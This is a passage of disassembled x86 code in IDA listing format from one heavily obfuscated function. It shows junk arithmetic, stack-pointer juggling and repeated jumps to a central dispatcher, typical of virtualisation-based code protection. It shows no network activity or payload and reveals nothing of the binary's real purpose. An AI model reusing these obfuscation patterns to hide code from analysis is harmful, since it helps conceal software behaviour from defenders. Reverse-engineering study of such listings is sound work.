loc_587800:				; CODE XREF: sub_57DD3A+9927j
		mov	[esp+0DCh+var_DC], ecx
		push	ebx
		mov	bl, 7Eh
		mov	cl, bl
		mov	ebx, [esp+0E0h+var_E0]
		push	edi
		push	esp
		mov	edi, [esp+0E8h+var_E8]
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_583636
; ---------------------------------------------------------------------------


loc_587827:				; CODE XREF: sub_57DD3A+A8D3j
		push	esp
		pop	[esp+0ECh+var_EC]
		add	[esp+0E8h+var_E8], 4
		pop	[esp+0E8h+var_E8]
		add	[esp+0E4h+var_E4], 4
		jmp	loc_588EAD
; ---------------------------------------------------------------------------


loc_58783E:				; CODE XREF: sub_57DD3A+96B4j
		mov	esp, [esp+72h+var_74+2]
		mov	[esp+72h+var_74+2], ecx
		mov	ecx, esp
		push	460Ah
		mov	[esp+76h+var_78+2], edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp+76h+var_78+2]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+72h+var_74+2]
		mov	esp, [esp+72h+var_74+2]
		jmp	loc_5857A8
; ---------------------------------------------------------------------------


loc_58786C:				; CODE XREF: sub_57DD3A+3BD6j
		push	edi
		jmp	loc_585483
; ---------------------------------------------------------------------------


loc_587872:				; CODE XREF: sub_57DD3A+7033j
		push	edi
		sub	esp, 4
		mov	[esp+7Ch+var_7C], esp
		add	[esp+7Ch+var_7C], 4
		push	[esp+7Ch+var_7C]
		pop	edi
		add	esp, 4
		add	edi, 4
		jmp	loc_58BE5B
; ---------------------------------------------------------------------------


loc_587895:				; CODE XREF: sub_57DD3A+B8F4j
		xor	[esp+78h+var_78], eax
		xchg	eax, edi
		xor	edi, ecx
		xor	ecx, edi
		jmp	loc_587697
; ---------------------------------------------------------------------------


loc_5878A2:				; CODE XREF: sub_57DD3A+B113j
		push	[esp+78h+var_78]
		jmp	loc_5867A5
; ---------------------------------------------------------------------------


loc_5878AA:				; CODE XREF: sub_57DD3A+8939j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5878AF:				; CODE XREF: sub_57DD3A+BF4Bj
		push	edx
		mov	dl, 35h
		xor	dl, 56h
		push	ax
		mov	al, 8Eh
		xor	dl, al
		pop	ax
		push	ecx
		mov	ch, 0EFh
		jmp	loc_58CCA6
; ---------------------------------------------------------------------------


loc_5878C5:				; CODE XREF: sub_57DD3A+FC77j
		pop	ecx
		add	ebp, 7591EA5Ch
		sub	esi, 33995876h
		jmp	loc_581ECA
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0A4h+var_A4]
		push	esi
		push	5A5h
		jmp	loc_589E3C
; ---------------------------------------------------------------------------


loc_5878E6:				; CODE XREF: sub_57DD3A+AAC5j
		not	ebx
		shr	ebx, 3
		push	edi
		mov	edi, 0EC2309CAh
		add	ebx, edi
		pop	edi
		add	eax, 6DF26D6Bh
		jmp	loc_58C5F7
; ---------------------------------------------------------------------------


loc_5878FE:				; CODE XREF: sub_57DD3A+E78Fj
					; sub_57DD3A+E81Bj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0B0h+var_B0]
		pop	esp
		mov	[esp+0ACh+var_AC], ebx
		mov	eax, [esp+0ACh+var_AC]
		push	206h
		mov	[esp+0B0h+var_B0], ebx
		mov	ebx, esp
		jmp	loc_588784
; ---------------------------------------------------------------------------


loc_587926:				; CODE XREF: sub_57DD3A+6C33j
		push	1
		pop	edi
		and	eax, edi
		push	[esp+90h+var_90]
		mov	edi, [esp+94h+var_94]
		push	2Eh
		mov	[esp+98h+var_98], esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		jmp	loc_58844C
; ---------------------------------------------------------------------------


loc_587949:				; CODE XREF: sub_57DD3A+4025j
		add	esp, 4
		sub	esi, 0D9550DE7h
		xor	eax, esi
		push	[esp+9Ch+var_9C]
		jmp	loc_58A16C
; ---------------------------------------------------------------------------


loc_58795C:				; CODE XREF: sub_57DD3A+DA56j
		shr	eax, 10h
		xor	eax, ecx
		xchg	eax, ecx
		not	ecx
		sub	esp, 4
		mov	[esp+0A4h+var_A4], eax
		sub	esp, 4
		mov	[esp+0A8h+var_A8], ebp
		sub	esp, 4
		jmp	loc_5879A8
; ---------------------------------------------------------------------------


loc_58797E:				; CODE XREF: sub_57DD3A+7BB2j
		pop	edx
		pop	ax
		push	ecx
		mov	cl, 0D6h
		push	edx
		mov	dl, 0A6h
		xor	dl, 35h
		jmp	loc_5849E0
; ---------------------------------------------------------------------------
		push	703Bh
		jmp	loc_58BD12
; ---------------------------------------------------------------------------


loc_587999:				; CODE XREF: sub_57DD3A+E8B8j
		push	ebp
		mov	ebp, esp
		push	eax
		push	39C36F9Bh
		pop	eax
		jmp	loc_5885B1
; ---------------------------------------------------------------------------


loc_5879A8:				; CODE XREF: sub_57DD3A+9C3Fj
		mov	[esp+0ACh+var_AC], esp
		add	[esp+0ACh+var_AC], 4
		jmp	loc_5842BF
; ---------------------------------------------------------------------------


loc_5879B7:				; CODE XREF: sub_57DD3A+511Bj
		add	edi, 4
		push	ebp
		mov	ebp, 2
		add	edi, ebp
		pop	ebp
		push	edi
		push	[esp+7Ch+var_78]
		jmp	loc_58B649
; ---------------------------------------------------------------------------


loc_5879D0:				; CODE XREF: sub_57DD3A+E321j
		add	edi, 4
		jmp	loc_588987
; ---------------------------------------------------------------------------
		push	[esp+80h+var_80]
		push	[esp+84h+var_84]
		pop	ecx
		jmp	loc_58B89F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+84h+var_84]
		push	edx
		push	esp
		push	[esp+8Ch+var_8C]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+90h+var_90]
		pop	esp
		push	ecx
		mov	ecx, 7BBA7BC8h
		jmp	loc_5897A1
; ---------------------------------------------------------------------------


loc_587A0C:				; CODE XREF: sub_57DD3A+722Aj
		sub	ch, 1
		add	ch, 2Eh
		mov	bh, ch
		pop	ecx
		and	dh, bh
		pop	ebx
		xor	dh, 2Ch
		shr	dh, 5
		shl	dh, 2
		sub	dh, 0D0h
		push	eax
		mov	ah, 0E4h
		jmp	loc_585431
; ---------------------------------------------------------------------------


loc_587A2C:				; CODE XREF: sub_57DD3A+FE1Cj
		mov	edx, [esp+84h+var_84]
		add	esp, 4
		pop	ebx
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_587A38:				; CODE XREF: sub_57DD3A+BFA9j
		add	eax, ebx
		add	eax, 22D90686h
		mov	ebx, [esp+7Ch+var_7C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+7Ch+var_7C], esi
		mov	esi, 2
		sub	eax, 56AD740Ah
		jmp	loc_586EDD
; ---------------------------------------------------------------------------


loc_587A60:				; CODE XREF: sub_57DD3A+EA34j
		mov	[esp+7Ch+var_7C], edi
		push	5F5D35C0h
		jmp	loc_58415C
; ---------------------------------------------------------------------------


loc_587A6D:				; CODE XREF: sub_57DD3A+69D9j
		mov	[esp+96h+var_98+2], ebx
		mov	ebx, 0FF2456Ah
		not	ebx
		xor	ebx, 0E317B654h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_58C490
; ---------------------------------------------------------------------------


loc_587A85:				; CODE XREF: sub_57DD3A+BD0Fj
		add	eax, 48D50679h
		push	esi
		mov	esi, 800h
		jmp	loc_58A4F9
; ---------------------------------------------------------------------------


loc_587A95:				; CODE XREF: sub_57DD3A+5167j
		add	al, 29h
		push	dx
		jmp	loc_58AFB3
; ---------------------------------------------------------------------------


loc_587A9E:				; CODE XREF: sub_57DD3A+C651j
		mov	edx, 11F348C9h
		push	eax
		mov	eax, 54F510C6h
		xor	eax, 4506580Bh
		xor	edx, eax
		pop	eax
		sub	eax, 1AC51601h
		add	eax, edx
		jmp	loc_583DBD
; ---------------------------------------------------------------------------


loc_587ABD:				; CODE XREF: sub_57DD3A+D9FFj
		or	ecx, 0E4C4459h
		sub	ecx, 9ECECF5Dh
		jmp	loc_584D2E
; ---------------------------------------------------------------------------


loc_587ACE:				; CODE XREF: sub_57DD3A+CE98j
		mov	[esp+0A8h+var_A8], ebx
		jmp	loc_5820B4
; ---------------------------------------------------------------------------


loc_587AD6:				; CODE XREF: sub_57DD3A+8659j
		xor	ecx, eax
		jmp	loc_58AC0C
; ---------------------------------------------------------------------------


loc_587ADD:				; CODE XREF: sub_57DD3A+A6F6j
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		sub	edx, 1F77F34h
		sub	edx, 5DB37C2Bh
		jmp	loc_58B3A7
; ---------------------------------------------------------------------------


loc_587AF6:				; CODE XREF: sub_57DD3A+7567j
		not	ebx
		xor	ebx, 1E4F4DDFh
		jmp	loc_584A02
; ---------------------------------------------------------------------------


loc_587B03:				; CODE XREF: sub_57DD3A+81A1j
		add	eax, 4
		jmp	loc_58D9ED
; ---------------------------------------------------------------------------


loc_587B0D:				; CODE XREF: sub_57DD3A+56BEj
		push	ecx
		jmp	loc_581D64
; ---------------------------------------------------------------------------


loc_587B13:				; CODE XREF: sub_57DD3A+CCDEj
		mov	[esp+0D0h+var_D0], eax
		mov	al, 0F5h
		not	al
		jmp	loc_589589
; ---------------------------------------------------------------------------


loc_587B1F:				; CODE XREF: sub_57DD3A+5E62j
		add	ecx, 5E3496C0h
		xor	esi, ecx
		pop	ecx
		or	esi, 208A4511h
		push	eax
		mov	eax, 5A193BF2h
		not	eax
		xor	eax, 2073916h
		inc	eax
		or	eax, 25542384h
		add	eax, 13A34AF1h
		sub	eax, 0CF15044Dh
		jmp	loc_582876
; ---------------------------------------------------------------------------


loc_587B50:				; CODE XREF: sub_57DD3A+7F9Bj
		mov	word ptr [esp+68h+var_68], cx
		jmp	loc_5852FE
; ---------------------------------------------------------------------------


loc_587B59:				; CODE XREF: sub_57DD3A+A678j
		pop	eax
		push	[esp+64h+var_64]
		mov	ebx, [esp+68h+var_68]
		add	esp, 4
		push	313Ch
		jmp	loc_58C4A5
; ---------------------------------------------------------------------------


loc_587B70:				; CODE XREF: sub_57DD3A+A315j
		pop	edx
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		xor	[esp+68h+var_68], esi
		xor	esi, [esp+68h+var_68]
		xor	[esp+68h+var_68], esi
		push	2F1Dh
		jmp	loc_585EF9
; ---------------------------------------------------------------------------


loc_587B8A:				; CODE XREF: sub_57DD3A+D94Ej
		mov	esi, [esp+6Ch+var_6C]
		add	esp, 4
		pop	[esp+68h+var_68]
		pop	esp
		btr	word ptr [esp+60h+var_60], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_587B9F:				; CODE XREF: sub_57DD3A+3F21j
		sub	bl, al
		push	dx
		jmp	loc_5826E7
; ---------------------------------------------------------------------------


loc_587BA8:				; CODE XREF: sub_57DD3A+ADA6j
		or	[edi+1Ch], eax
		mov	eax, [esp+86h+var_88+2]
		add	esp, 4
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		push	[esp+82h+var_84+2]
		pop	eax
		push	739Fh
		mov	[esp+86h+var_88+2], eax
		push	esp
		jmp	loc_588069
; ---------------------------------------------------------------------------


loc_587BC8:				; CODE XREF: sub_57DD3A+4E00j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_587BCD:				; CODE XREF: sub_57DD3A+B87Aj
		push	ecx
		jmp	loc_58CDBE
; ---------------------------------------------------------------------------


loc_587BD3:				; CODE XREF: sub_57DD3A+F138j
		not	ch
		shl	ch, 4
		xor	ch, 0A2h
		mov	ah, ch
		pop	ecx
		push	ecx
		mov	ch, ah
		mov	dh, ch
		pop	ecx
		pop	eax
		jmp	loc_58BF30
; ---------------------------------------------------------------------------


loc_587BEA:				; CODE XREF: sub_57DD3A+9A74j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8Eh+var_90+2]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_588BDB
; ---------------------------------------------------------------------------


loc_587C02:				; CODE XREF: sub_57DD3A+86A1j
		xor	edx, ebp
		pop	ebp
		jmp	loc_5891E3
; ---------------------------------------------------------------------------


loc_587C0A:				; CODE XREF: sub_57DD3A+CC25j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58AFC5
; ---------------------------------------------------------------------------


loc_587C17:				; CODE XREF: sub_57DD3A+4980j
		mov	ebx, 0
		sub	ebx, esi
		mov	esi, ebx
		pop	ebx
		and	esi, 10F33A53h
		shr	esi, 6
		jmp	loc_58B568
; ---------------------------------------------------------------------------


loc_587C2F:				; CODE XREF: sub_57DD3A+D260j
		pop	esp
		mov	word ptr [esp+72h+var_74+2], ax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_587C39:				; CODE XREF: sub_57DD3A+513Bj
		pop	ecx
		sub	eax, ebx
		push	39FAh
		mov	[esp+6Ch+var_6C], edx
		mov	edx, 175C1685h
		add	eax, edx
		pop	edx
		push	785Dh
		mov	[esp+6Ch+var_6C], esi
		push	ebx
		mov	ebx, 31CE2F83h
		shr	ebx, 3
		add	ebx, 1BF473BAh
		mov	esi, ebx
		pop	ebx
		add	esi, 1
		neg	esi
		jmp	loc_588142
; ---------------------------------------------------------------------------


loc_587C70:				; CODE XREF: sub_57DD3A+F0ACj
		mov	esi, [esp+6Ch+var_6C]
		add	esp, 4
		push	edi
		mov	edi, 541B0300h
		and	edi, 7F5C35E3h
		and	edi, 6F6C00E1h
		dec	edi
		inc	edi
		xor	edi, 4DF3145h
		jmp	loc_58D67E
; ---------------------------------------------------------------------------


loc_587C98:				; CODE XREF: sub_57DD3A+8E9Cj
		not	eax
		jmp	loc_5868E0
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+88h+var_88]
		sub	esp, 4
		mov	[esp+8Ch+var_8C], edi
		sub	esp, 4
		mov	[esp+90h+var_90], esp
		push	eax
		mov	eax, 4
		add	[esp+94h+var_90], eax
		pop	eax
		pop	edi
		push	esi
		mov	esi, 64D65E3Fh
		or	esi, 674A50C7h
		xor	esi, 1BC00560h
		jmp	loc_583EB0
; ---------------------------------------------------------------------------


loc_587CD2:				; CODE XREF: sub_57DD3A+C6A7j
		add	edx, 812010Eh
		add	edx, 0C677A8h
		jmp	loc_5888B9
; ---------------------------------------------------------------------------


loc_587CE3:				; CODE XREF: sub_57DD3A+A1BBj
		add	esp, 4
		add	esi, ecx
		pop	ecx
		push	eax
		mov	eax, 2
		add	esi, eax
		pop	eax
		xchg	esi, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		shr	byte ptr [esp+88h+var_88], cl
		pushf
		jmp	loc_585CC1
; ---------------------------------------------------------------------------


loc_587D01:				; CODE XREF: sub_57DD3A+87F7j
		push	edx
		jmp	loc_586492
; ---------------------------------------------------------------------------


loc_587D07:				; CODE XREF: sub_57DD3A+512Dj
		add	ebx, 2
		xor	ebx, [esp+70h+var_70]
		xor	[esp+70h+var_70], ebx
		xor	ebx, [esp+70h+var_70]
		pop	esp
		mov	ax, word ptr [esp+6Ch+var_6C]
		push	edx
		push	3741h
		mov	[esp+74h+var_74], esp
		add	[esp+74h+var_74], 4
		mov	edx, [esp+74h+var_74]
		add	esp, 4
		push	eax
		push	4
		pop	eax
		jmp	loc_588C98
; ---------------------------------------------------------------------------


loc_587D3A:				; CODE XREF: sub_57DD3A+CA66j
		mov	[esp+74h+var_74], eax
		push	4
		mov	eax, [esp+78h+var_78]
		add	esp, 4
		and	ecx, eax
		push	[esp+74h+var_74]
		pop	eax
		add	esp, 4
		shr	ecx, 2
		jmp	loc_5857F7
; ---------------------------------------------------------------------------


loc_587D5C:				; CODE XREF: sub_57DD3A+EDF5j
		xor	ebp, 44DC024Dh
		sub	esp, 4
		mov	[esp+74h+var_74], ebp
		mov	eax, [esp+74h+var_74]
		sub	esp, 4
		mov	[esp+78h+var_78], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp+7Ch+var_7C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+80h+var_80]
		pop	esp
		add	ebp, 4
		xchg	ebp, [esp+7Ch+var_7C]
		jmp	loc_58DD96
; ---------------------------------------------------------------------------


loc_587D9F:				; CODE XREF: sub_57DD3A+B860j
		add	esp, 4
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_587DAA:				; CODE XREF: sub_57DD3A+8FDFj
		add	ebx, 2
		xchg	ebx, [esp+96h+var_98+2]
		mov	esp, [esp+96h+var_98+2]
		jmp	loc_584217
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+96h+var_98+2]
		jmp	loc_58C56A
; ---------------------------------------------------------------------------


loc_587DC1:				; CODE XREF: sub_57DD3A+3CEAj
		mov	[esp+5Eh+var_60+2], ebx
		push	edx
		jmp	loc_586374
; ---------------------------------------------------------------------------


loc_587DCA:				; CODE XREF: sub_57DD3A+A8EEj
		sub	ebp, 5B462F74h
		sub	ebp, ebx
		add	ebp, 5B462F74h
		mov	ebx, [esp+62h+var_64+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_583E32
; ---------------------------------------------------------------------------


loc_587DE3:				; CODE XREF: sub_57DD3A+FA9Ej
		sub	al, 2Eh
		mov	dh, al
		pop	eax
		push	ecx
		mov	cl, dh
		mov	bh, cl
		pop	ecx
		jmp	loc_58B765
; ---------------------------------------------------------------------------


loc_587DF3:				; CODE XREF: sub_57DD3A+F628j
		add	esp, 4
		mov	edx, ebp
		mov	ebp, [esp+5Eh+var_60+2]
		jmp	loc_583530
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+5Eh+var_60+2]
		push	1F46h
		mov	[esp+62h+var_64+2], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+66h+var_68+2], eax
		jmp	loc_58C68A
; ---------------------------------------------------------------------------


loc_587E1C:				; CODE XREF: sub_57DD3A+FDE5j
		pop	ebp
		jmp	loc_588FDB
; ---------------------------------------------------------------------------


loc_587E22:				; CODE XREF: sub_57DD3A+69AAj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5831D9
; ---------------------------------------------------------------------------


loc_587E2E:				; CODE XREF: sub_57DD3A+4687j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		jmp	loc_58410A
; ---------------------------------------------------------------------------


loc_587E44:				; CODE XREF: sub_57DD3A+D133j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_583920
; ---------------------------------------------------------------------------


loc_587E51:				; CODE XREF: sub_57DD3A+E467j
		mov	esp, [esp+8Eh+var_90+2]
		div	cl
		movzx	cx, ah
		sub	esp, 4
		jmp	loc_58630B
; ---------------------------------------------------------------------------


loc_587E65:				; CODE XREF: sub_57DD3A+8C1Cj
		pop	ecx
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_584DD7
; ---------------------------------------------------------------------------


loc_587E73:				; CODE XREF: sub_57DD3A+5E0Cj
		xor	ebp, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		add	word ptr [esp+7Eh+var_80+2], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_587E83:				; CODE XREF: sub_57DD3A+FA86j
		pop	ax
		movzx	eax, al
		jmp	loc_58255B
; ---------------------------------------------------------------------------


loc_587E8D:				; CODE XREF: sub_57DD3A+55A8j
		pop	esp
		jmp	loc_586BBC
; ---------------------------------------------------------------------------


loc_587E93:				; CODE XREF: sub_57DD3A+B7B1j
		xchg	ebp, [esp+5Ah+var_5C+2]
		pop	esp
		add	ebx, 2
		xchg	ebx, [esp+56h+var_58+2]
		jmp	loc_584589
; ---------------------------------------------------------------------------


loc_587EA2:				; CODE XREF: sub_57DD3A+E3B6j
		mov	[esp+56h+var_58+2], esp
		push	edi
		jmp	loc_5864B3
; ---------------------------------------------------------------------------


loc_587EAB:				; CODE XREF: sub_57DD3A+E270j
		add	esp, 4
		jmp	loc_584642
; ---------------------------------------------------------------------------


loc_587EB6:				; CODE XREF: sub_57DD3A+FD87j
		inc	ebp
		neg	ebp
		xor	ebp, 6E956B10h
		xor	ebp, 936894E5h
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp+52h+var_54+2]
		mov	esp, [esp+52h+var_54+2]
		jmp	loc_585608
; ---------------------------------------------------------------------------


loc_587ED3:				; CODE XREF: sub_57DD3A+5E34j
		push	bx
		mov	bl, 0DBh
		add	ch, bl
		jmp	loc_588654
; ---------------------------------------------------------------------------


loc_587EDE:				; CODE XREF: sub_57DD3A+AD37j
		pop	esp
		mov	[esp+0B4h+var_B4], ecx
		sub	esp, 4
		mov	[esp+0B8h+var_B8], edx
		push	ecx
		jmp	loc_585B40
; ---------------------------------------------------------------------------


loc_587EEE:				; CODE XREF: sub_57DD3A+101E2j
		pop	ebp
		mov	ecx, esi
		push	[esp+0B8h+var_B8]
		pop	esi
		jmp	loc_587CE3
; ---------------------------------------------------------------------------


loc_587EFA:				; CODE XREF: sub_57DD3A+E21Ej
		mov	cl, 15h
		add	dl, cl
		jmp	loc_5857DF
; ---------------------------------------------------------------------------


loc_587F03:				; CODE XREF: sub_57DD3A+7618j
		add	[esp+88h+var_88], 0F082185h
		pop	edx
		push	esi
		mov	esi, 0F082185h
		sub	edx, esi
		pop	esi
		mov	esi, [esp+84h+var_84]
		add	esp, 4
		add	edx, 3E52D4F0h
		push	ebp
		mov	ebp, edx
		mov	esi, ebp
		jmp	loc_582BBB
; ---------------------------------------------------------------------------


loc_587F2A:				; CODE XREF: sub_57DD3A+A6DAj
		mov	ecx, 9FF4ED47h
		add	esi, ecx
		jmp	loc_58A788
; ---------------------------------------------------------------------------


loc_587F36:				; CODE XREF: sub_57DD3A+4978j
		shr	ecx, 5
		not	ecx
		and	ecx, 6C986F7Eh
		xor	ecx, 6C986F1Ah
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp+8Ah+var_8C+2]
		pop	esp
		jmp	loc_5841C3
; ---------------------------------------------------------------------------


loc_587F59:				; CODE XREF: sub_57DD3A+E8CEj
		mov	[esp+86h+var_88+2], esp
		jmp	loc_588DA2
; ---------------------------------------------------------------------------


loc_587F61:				; CODE XREF: sub_57DD3A+5694j
		xor	ebp, edx
		pop	edx
		jmp	loc_58B8A6
; ---------------------------------------------------------------------------


loc_587F69:				; CODE XREF: sub_57DD3A+DB67j
		pop	esi
		push	edx
		mov	edx, 52ED00DDh
		xor	edx, 10E379C1h
		xor	edx, 420E7918h
		add	esi, edx
		pop	edx
		push	eax
		push	ebp
		mov	ebp, 703F510Fh
		inc	ebp
		dec	ebp
		shl	ebp, 6
		dec	ebp
		jmp	loc_584C56
; ---------------------------------------------------------------------------


loc_587F91:				; CODE XREF: sub_57DD3A+D594j
		not	ah
		jmp	loc_585BC8
; ---------------------------------------------------------------------------


loc_587F98:				; CODE XREF: sub_57DD3A+8AC8j
		mov	ebp, [esp+0C0h+var_C0]
		add	esp, 4
		push	3DAAh
		mov	[esp+0C0h+var_C0], ecx
		mov	ecx, 2E5D66F1h
		sub	ecx, 40985224h
		add	ecx, 0FFFFFFFFh
		push	edx
		push	0CF507494h
		jmp	loc_585F46
; ---------------------------------------------------------------------------


loc_587FC5:				; CODE XREF: sub_57DD3A+F83Dj
		mov	[esp+0C8h+var_C8], ebx
		jmp	loc_587491
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0C8h+var_C8]
		sub	esp, 4
		mov	[esp+0CCh+var_CC], edi
		jmp	loc_5890E9
; ---------------------------------------------------------------------------


loc_587FDF:				; CODE XREF: sub_57DD3A+7E1Fj
		sub	edx, esi
		pop	esi
		jmp	loc_58B477
; ---------------------------------------------------------------------------


loc_587FE7:				; CODE XREF: sub_57DD3A+D1A7j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp+50h+var_50]
		pop	esp


loc_587FF3:				; CODE XREF: sub_57DD3A+739Aj
					; sub_57DD3A+BA7Cj
		push	5111h
		mov	[esp+50h+var_50], ebx
		push	[esp+50h+var_50]
		pop	eax
		push	5EE2h
		mov	[esp+54h+var_54], ecx
		jmp	loc_589F30
; ---------------------------------------------------------------------------


loc_58800C:				; CODE XREF: sub_57DD3A+5192j
		or	ebp, 7E3D2876h
		sub	ebp, 34243496h
		sub	ebp, 4BDB4ADDh
		sub	edx, 11A804DDh
		add	edx, ebp
		add	edx, 11A804DDh
		jmp	loc_58DB68
; ---------------------------------------------------------------------------


loc_588031:				; CODE XREF: sub_57DD3A+B108j
		pop	eax
		jmp	loc_582AD3
; ---------------------------------------------------------------------------


loc_588037:				; CODE XREF: sub_57DD3A+EF40j
		pop	eax
		or	edi, 5B1E08A3h
		sub	edi, 66B6D7DCh
		and	edx, edi
		pop	edi
		sub	edx, 63FFC045h
		and	eax, edx
		jmp	loc_587B70
; ---------------------------------------------------------------------------


loc_588054:				; CODE XREF: sub_57DD3A+AC15j
		sub	bl, 4Ah
		jmp	loc_5854E1
; ---------------------------------------------------------------------------


loc_58805C:				; CODE XREF: sub_57DD3A+E8B0j
		push	edx
		mov	edx, 0
		add	edx, ebx
		jmp	loc_5847A8
; ---------------------------------------------------------------------------


loc_588069:				; CODE XREF: sub_57DD3A+9E89j
		push	[esp+8Ah+var_8C+2]
		pop	eax
		add	esp, 4
		push	esi
		push	eax
		push	ecx
		mov	ecx, 5C5E7CB5h
		jmp	loc_5889B2
; ---------------------------------------------------------------------------


loc_588080:				; CODE XREF: sub_57DD3A+741Cj
		mov	eax, 2
		add	edi, 703E0E5Bh
		add	edi, eax
		sub	edi, 703E0E5Bh
		mov	eax, [esp+8Ch+var_8C]
		add	esp, 4
		xor	edi, [esp+88h+var_88]
		xor	[esp+88h+var_88], edi
		xor	edi, [esp+88h+var_88]
		pop	esp
		jmp	loc_58A7A5
; ---------------------------------------------------------------------------


loc_5880AB:				; CODE XREF: sub_57DD3A+4582j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58CFFF
; ---------------------------------------------------------------------------


loc_5880B9:				; CODE XREF: sub_57DD3A+900Aj
		add	dl, bh
		pop	ebx
		jmp	loc_5881F2
; ---------------------------------------------------------------------------


loc_5880C1:				; CODE XREF: sub_57DD3A+7268j
		and	ebp, 52796602h
		sub	ebp, 503103FEh
		add	edi, 6E0A3E3Fh
		add	edi, ebp
		sub	edi, 6E0A3E3Fh
		jmp	loc_589075
; ---------------------------------------------------------------------------


loc_5880E0:				; CODE XREF: sub_57DD3A+EAAEj
		pop	esp
		mov	[esp+0B0h+var_B0], ebx
		jmp	loc_588C5B
; ---------------------------------------------------------------------------


loc_5880E9:				; CODE XREF: sub_57DD3A+4A4Fj
		add	ebp, eax
		mov	eax, [esp+0A6h+var_A8+2]
		add	esp, 4
		jmp	loc_588612
; ---------------------------------------------------------------------------


loc_5880F9:				; CODE XREF: sub_57DD3A+49A8j
		add	edi, ecx
		pop	ecx
		add	edx, edi
		pop	edi
		jmp	loc_58CE99
; ---------------------------------------------------------------------------


loc_588104:				; CODE XREF: sub_57DD3A+7204j
		add	ebx, 4
		xchg	ebx, [esp+90h+var_90]
		pop	esp
		add	eax, ebx
		sub	esp, 4
		mov	[esp+90h+var_90], ebp
		mov	ebp, 27472958h
		sub	eax, ebp
		push	[esp+90h+var_90]
		jmp	loc_58AC5D
; ---------------------------------------------------------------------------


loc_588125:				; CODE XREF: sub_57DD3A+86AEj
		sub	ebp, 4
		xchg	ebp, [esp+6Ch+var_6C]
		pop	esp
		mov	[esp+68h+var_68], edx
		push	esi
		mov	esi, 17FE38A2h
		mov	edx, 0F4BBEA08h
		jmp	loc_58A6CE
; ---------------------------------------------------------------------------


loc_588142:				; CODE XREF: sub_57DD3A+9F31j
		add	esi, 1
		and	esi, 7B46165Eh
		xor	esi, 36C5B5FEh
		jmp	loc_586B29
; ---------------------------------------------------------------------------


loc_588159:				; CODE XREF: sub_57DD3A+BD65j
		not	ecx
		sub	ecx, 0CA4AC404h
		and	esi, ecx
		jmp	loc_5862FD
; ---------------------------------------------------------------------------


loc_588168:				; CODE XREF: sub_57DD3A+B3F4j
		mov	ecx, 1A915F02h
		not	ecx
		jmp	loc_58D891
; ---------------------------------------------------------------------------


loc_588174:				; CODE XREF: sub_57DD3A+EFB3j
		xor	ecx, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		shr	[esp+6Ch+var_6C], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_588183:				; CODE XREF: sub_57DD3A+833Bj
		pop	esp
		xor	byte ptr [esp+4Eh+var_50+2], al
		pushf
		jmp	loc_5835FF
; ---------------------------------------------------------------------------


loc_58818D:				; CODE XREF: sub_57DD3A+4396j
		push	[esp+6Ah+var_68+2]
		pop	edi
		pop	[esp+6Ah+var_6C+2]
		pop	esp
		jmp	loc_58C241
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+60h+var_60], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5881AB:				; CODE XREF: sub_57DD3A+68F5j
		pop	ecx
		jmp	loc_586946
; ---------------------------------------------------------------------------


loc_5881B1:				; CODE XREF: sub_57DD3A+68EEj
		mov	eax, [esp+86h+var_88+2]
		jmp	loc_58D483
; ---------------------------------------------------------------------------


loc_5881B9:				; CODE XREF: sub_57DD3A+9250j
		mov	[esp+6Eh+var_70+2], esp
		jmp	loc_58BFF7
; ---------------------------------------------------------------------------


loc_5881C1:				; CODE XREF: sub_57DD3A+B9B1j
		push	[esp+6Eh+var_70+2]
		pop	edi
		sub	esp, 4
		mov	[esp+72h+var_74+2], ecx
		mov	ecx, esp
